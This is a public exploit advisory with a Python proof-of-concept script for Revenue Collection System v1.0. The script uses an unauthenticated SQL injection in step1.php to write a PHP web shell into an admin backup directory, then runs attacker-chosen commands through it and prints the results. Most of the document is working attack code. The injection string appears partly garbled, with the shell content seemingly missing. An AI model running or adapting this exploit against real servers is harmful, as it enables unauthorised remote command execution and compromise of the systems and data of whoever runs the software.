Exploit/Advisories

# Exploit Title: Revenue Collection System v1.0 - RCE via Unauthenticated SQL Injection
# Exploit Author: Joe Pollock
# Date: November 16, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/rates.zip
# Tested on: Kali Linux, Apache, Mysql
# CVE: T.B.C
# Vendor: Kapiya
# Version: 1.0
# Exploit Description:
# Revenue Collection System v1.0 suffers from an unauthenticated SQL Injection Vulnerability, in step1.php, allowing remote attackers to
# write a malicious PHP file to disk. The resulting file can then be accessed within the /rates/admin/DBbackup directory.
# This script will write the malicious PHP file to disk, issue a user-defined command, then retrieve the result of that command.
# Ex: python3 rcsv1.py 10.10.14.2 "ls"

import sys, requests
def main():
if len(sys.argv) != 3:
print("(+) usage: %s " % sys.argv[0])
print('(+) eg: %s 192.168.121.103 "ls"' % sys.argv[0])
sys.exit(-1)

targetIP = sys.argv[1]
cmd = sys.argv[2]
s = requests.Session()

# Define obscure filename and command parameter to limit exposure and usage of the RCE.
FILENAME = "youcantfindme.php"
CMDVAR = "ohno"

# Define the SQL injection string
sqli = """'+UNION+SELECT+"","","","","","","","","","","","","","","","",""+INTO+OUTFILE+'/var/www/html/rates/admin/DBbackup/%s'--+-""" % (CMDVAR,FILENAME)

# Write the PHP file to disk using the SQL injection vulnerability
url1 = "http://%s/rates/index.php?page=step1&proId=%s" % (targetIP,sqli)
r1 = s.get(url1)

# Execute the user defined command and display the result
url2 = "http://%s/rates/admin/DBbackup/%s?%s=%s" % (targetIP,FILENAME,CMDVAR,cmd)
r2 = s.get(url2)
print(r2.text)

if __name__ == '__main__':
main()

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